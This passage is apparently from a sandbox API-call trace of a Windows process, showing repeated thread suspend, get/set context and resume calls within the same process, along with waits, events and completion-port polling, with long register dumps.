Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0145.687] SetThreadContext (hThread=0x198, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019f688, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0145.687] ResumeThread (hThread=0x198) returned 0x1 [0145.687] CloseHandle (hObject=0x198) returned 1 [0145.687] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.796] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.824] SetEvent (hEvent=0xbc) returned 1 [0145.824] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0145.917] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x198) returned 1 [0145.917] SuspendThread (hThread=0x198) returned 0x0 [0145.917] GetThreadContext (in: hThread=0x198, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x28fbe0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f725d40, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0145.990] ResumeThread (hThread=0x198) returned 0x1 [0145.990] CloseHandle (hObject=0x198) returned 1 [0145.990] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0146.164] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x198) returned 1 [0146.164] SuspendThread (hThread=0x198) returned 0x0 [0146.164] GetThreadContext (in: hThread=0x198, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039d60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f77ffa0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0146.370] SetThreadContext (hThread=0x198, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10287, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000039d58, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0146.596] ResumeThread (hThread=0x198) returned 0x1 [0146.596] CloseHandle (hObject=0x198) returned 1 [0146.597] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0146.629] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0146.639] SetEvent (hEvent=0xcc) returned 1 [0146.639] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0146.690] timeEndPeriod (uPeriod=0x1) returned 0x0 [0146.690] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0149.452] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0149.452] SetEvent (hEvent=0xcc) returned 1 [0149.452] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0149.491] timeEndPeriod (uPeriod=0x1) returned 0x0 [0149.491] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0149.788] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0149.788] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0149.857] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0149.884] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0149.884] SetEvent (hEvent=0xbc) returned 1 [0149.884] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0149.908] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0149.908] SetEvent (hEvent=0xbc) returned 1 [0149.908] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0149.915] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0149.952] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0149.952] SetEvent (hEvent=0xcc) returned 1 [0149.952] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0149.994] timeEndPeriod (uPeriod=0x1) returned 0x0 [0149.994] WaitForMultipleObjects (nCount=0x2, lpHandles=0x27b6fd48*=0xe8, bWaitAll=0, dwMilliseconds=0xea60) returned 0x0 [0152.504] timeBeginPeriod (uPeriod=0x1) returned 0x0 [0152.535] GetQueuedCompletionStatusEx (in: CompletionPort=0x1a8, lpCompletionPortEntries=0x27b6f5e8, ulCount=0x10, ulNumEntriesRemoved=0x27b6f5bc, dwMilliseconds=0x0, fAlertable=0 | out: lpCompletionPortEntries=0x27b6f5e8, ulNumEntriesRemoved=0x27b6f5bc) returned 0 [0152.703] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xb8, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x194) returned 1 [0152.703] SuspendThread (hThread=0x194) returned 0x0 [0152.704] GetThreadContext (in: hThread=0x194, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x280afa70, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, 